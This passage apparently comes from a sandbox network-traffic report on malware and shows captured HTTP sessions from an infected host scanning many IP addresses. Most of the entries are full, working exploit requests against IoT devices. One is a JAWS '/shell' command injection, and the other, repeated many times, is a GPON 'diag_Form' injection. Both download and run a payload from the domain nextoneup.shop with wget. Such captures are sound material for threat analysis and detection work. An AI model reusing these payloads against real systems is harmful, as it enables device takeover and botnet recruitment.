6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 72 65 73 70 6f 6e 73 65 2d 69 6e 66 6f 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 43 43 43 43 43 43 Data Ascii: 111157<!DOCTYPE html><html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Expires" content="0"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>34041 9Not Found1fca</title> <style type="text/css"> body { font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 1.428571429; background-color: #ffffff; color: #2F3230; padding: 0; margin: 0; } section, footer { display: block; padding: 0; margin: 0; } .container { margin-left: auto; margin-right: auto; padding: 0 10px; } .response-info { color: #CCCCCC
Apr 14, 2024 04:00:43.539568901 CEST	1289	IN	Data Raw: 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 63 6f 64 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 35 30 30 25 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 Data Ascii: ; } .status-code { font-size: 500%; } .status-reason { font-size: 250%; display: block; } .contact-info, .reason-text { color: #000000;
Apr 14, 2024 04:00:43.539586067 CEST	1289	IN	Data Raw: 20 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 69 6e 66 6f 2d 69 6d 61 67 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 Data Ascii: 100%; } .info-image { padding: 10px; } .info-heading { font-weight: bold; text-align: left; word-break: break-all; width: 100%; } .inf
Apr 14, 2024 04:00:43.539602041 CEST	1289	IN	Data Raw: 6e 74 2d 73 69 7a 65 3a 20 31 38 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 69 6e 66 6f 2d 69 6d 61 67 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6c 6f 61 74 3a 20 6c 65 66 74 Data Ascii: nt-size: 18px; } .info-image { float: left; } .info-heading { margin: 62px 0 0 98px; } .info-server address { text-align: l
Apr 14, 2024 04:00:43.539670944 CEST	1289	IN	Data Raw: 6a 2b 42 50 49 45 37 49 59 6d 54 79 77 31 4d 46 77 62 61 6b 73 61 79 62 53 78 44 43 41 34 53 54 46 2b 77 67 38 72 48 37 45 7a 4d 77 71 4e 69 62 59 33 38 6d 6c 76 58 4b 44 64 55 35 70 44 48 33 54 52 6b 6c 34 30 76 78 4a 6b 5a 2b 44 4f 32 4e 75 2f Data Ascii: j+BPIE7IYmTyw1MFwbaksaybSxDCA4STF+wg8rH7EzMwqNibY38mlvXKDdU5pDH3TRkl40vxJkZ+DO2Nu/3HnyC7t15obGBtqRFRXo6+0Z5YQh5LHd9YGWOsF+9Is5oQXctZKbvdAAtbHHM8+GLfojWdIgPff7YifRTNiZmusW+w8fDj1xdevNnbU3VFfTEL/W33pfH31cGYBpgW9Lba3Ic8C8iA77NLe514vu8BPj6/n3lCd/V
Apr 14, 2024 04:00:43.539688110 CEST	1289	IN	Data Raw: 77 68 76 4f 52 6f 33 63 6b 69 51 35 5a 4f 55 7a 6c 43 4f 4d 79 69 39 5a 2b 4c 58 52 45 68 53 35 69 71 72 49 34 51 6e 75 4e 6c 66 38 6f 56 45 62 4b 38 41 35 35 36 51 51 4b 30 4c 4e 72 54 6a 32 74 69 57 66 63 46 6e 68 30 68 50 49 70 59 45 56 47 6a Data Ascii: whvORo3ckiQ5ZOUzlCOMyi9Z+LXREhS5iqrI4QnuNlf8oVEbK8A556QQK0LNrTj2tiWfcFnh0hPIpYEVGjmBAe2b95U3wMxioiErRm2nuhd8QRCA8IwTRAW1O7PAsbtCPyMMgJp+1/IaxqGARzrFttphUR+MvEPSx+6m/pCxEi3Y7p485ESAVmuldvzSTKw2fqHSGM5hBW1IUI0f/LdONtEUKXGC95jK+Rg4QBVwNmlePZVjTxu
Apr 14, 2024 04:00:43.539746046 CEST	1184	IN	Data Raw: 52 65 4b 64 33 76 36 37 6e 50 39 63 4e 44 4a 48 76 6f 44 2b 2b 78 64 76 70 6f 76 58 4b 43 70 35 53 66 6f 47 78 48 73 6a 30 79 46 2b 49 77 48 55 75 73 37 73 6d 56 68 38 49 48 56 47 49 77 4a 74 4c 79 37 75 4e 36 50 65 2f 77 41 6e 72 42 78 4f 6e 41 Data Ascii: ReKd3v67nP9cNDJHvoD++xdvpovXKCp5SfoGxHsj0yF+IwHUus7smVh8IHVGIwJtLy7uN6Pe/wAnrBxOnAayISLWkQ8woBKyR++dUTsuEK+L8p2BD4fGdsfqhxGQTQZluHULXrRsUFfBE0OgzIlraR8vkw6qnXmuDSF8RgS8th+d+phci8FJf1fwapi44rFpfqTZAnW+JFRG3kf94Z+sSqdR1UIiI/dc/B6N/M9WsiADO00A3QU
Apr 14, 2024 04:00:43.540093899 CEST	1289	IN	Data Raw: 33 37 0d 0a 34 30 34 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 22 3e 0d 0a 38 38 0d 0a 4e 6f 74 20 46 6f 75 6e 64 3c 2f 73 70 61 6e 3e 0a Data Ascii: 37404</span> <span class="status-reason">88Not Found</span> </section> <section class="contact-info"> Please forward this error screen to 1c127.0.0.1's <a href="mailto:29he
Apr 14, 2024 04:00:43.540110111 CEST	517	IN	Data Raw: 20 20 20 20 20 3c 2f 73 65 63 74 69 6f 6e 3e 0a 20 20 20 20 20 20 20 20 3c 66 6f 6f 74 65 72 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: </section> <footer> <div class="container"> <a href="http://cpanel.com/?utm_source=cpanelwhm&utm_medium=cplogo&utm_content=logolink&utm_campaign=131404referral" target="cpanel" title="cPanel, Inc.">

Session ID	Source IP	Source Port	Destination IP	Destination Port
1212	192.168.2.13	57802	156.241.117.44	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:43.209353924 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1213	192.168.2.13	38538	113.21.246.146	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:43.674628973 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:44.041315079 CEST	327	IN	HTTP/1.1 404 Not Found Cache-Control: no-store Connection: Keep-Alive Content-Length: 99 Content-Type: text/html Date: Sun, 14 Apr 2024 02:00:43 GMT Expires: 0 Pragma: no-cache X-Frame-Options: sameorigin Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 68 31 3e 45 72 72 6f 72 20 34 30 34 20 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a Data Ascii: <!doctype html><html lang=en><title>Error 404 : Not Found</title><h1>Error 404 : Not Found</h1>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1214	192.168.2.13	49524	139.9.59.202	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:43.799937963 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:44.146887064 CEST	390	IN	HTTP/1.1 302 Redirect Content-Type: text/html; charset=UTF-8 Location: ./k3Cloud/Error.html Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET X-Frame-Options: SAMEORIGIN Date: Sun, 14 Apr 2024 02:00:43 GMT Content-Length: 143 Data Raw: 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e e6 96 87 e6 a1 a3 e5 b7 b2 e7 a7 bb e5 8a a8 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 3c 68 31 3e e5 af b9 e8 b1 a1 e5 b7 b2 e7 a7 bb e5 8a a8 3c 2f 68 31 3e e5 8f af e5 9c a8 3c 61 20 48 52 45 46 3d 22 2e 2f 6b 33 43 6c 6f 75 64 2f 45 72 72 6f 72 2e 68 74 6d 6c 22 3e e6 ad a4 e5 a4 84 3c 2f 61 3e e6 89 be e5 88 b0 e8 af a5 e6 96 87 e6 a1 a3 3c 2f 62 6f 64 79 3e Data Ascii: <head><title></title></head><body><h1></h1><a HREF="./k3Cloud/Error.html"></a></body>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1215	192.168.2.13	43968	37.139.31.181	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:43.980341911 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1216	192.168.2.13	57024	42.218.158.39	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:43.980359077 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1217	192.168.2.13	54256	5.62.50.231	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:43.980367899 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1218	192.168.2.13	60026	210.117.245.251	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:43.980387926 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1219	192.168.2.13	39288	79.176.23.253	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:43.980392933 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1220	192.168.2.13	48680	212.243.10.219	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:43.980407000 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1221	192.168.2.13	37310	202.239.14.161	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:43.980446100 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1222	192.168.2.13	49058	109.166.121.146	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:43.980468035 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1223	192.168.2.13	36314	210.131.129.109	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:43.980470896 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1224	192.168.2.13	32910	94.141.7.102	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:43.980485916 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1225	192.168.2.13	55142	5.44.244.83	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:43.980513096 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1226	192.168.2.13	36732	118.109.74.239	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:43.980525017 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1227	192.168.2.13	39544	202.111.164.211	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:43.980546951 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1228	192.168.2.13	37292	42.161.73.9	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:43.980572939 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1229	192.168.2.13	34646	212.54.77.95	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:43.980596066 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1230	192.168.2.13	43512	94.43.23.63	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:43.980598927 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1231	192.168.2.13	33022	5.81.170.9	443

Timestamp	Bytes transferred	Direction	Data
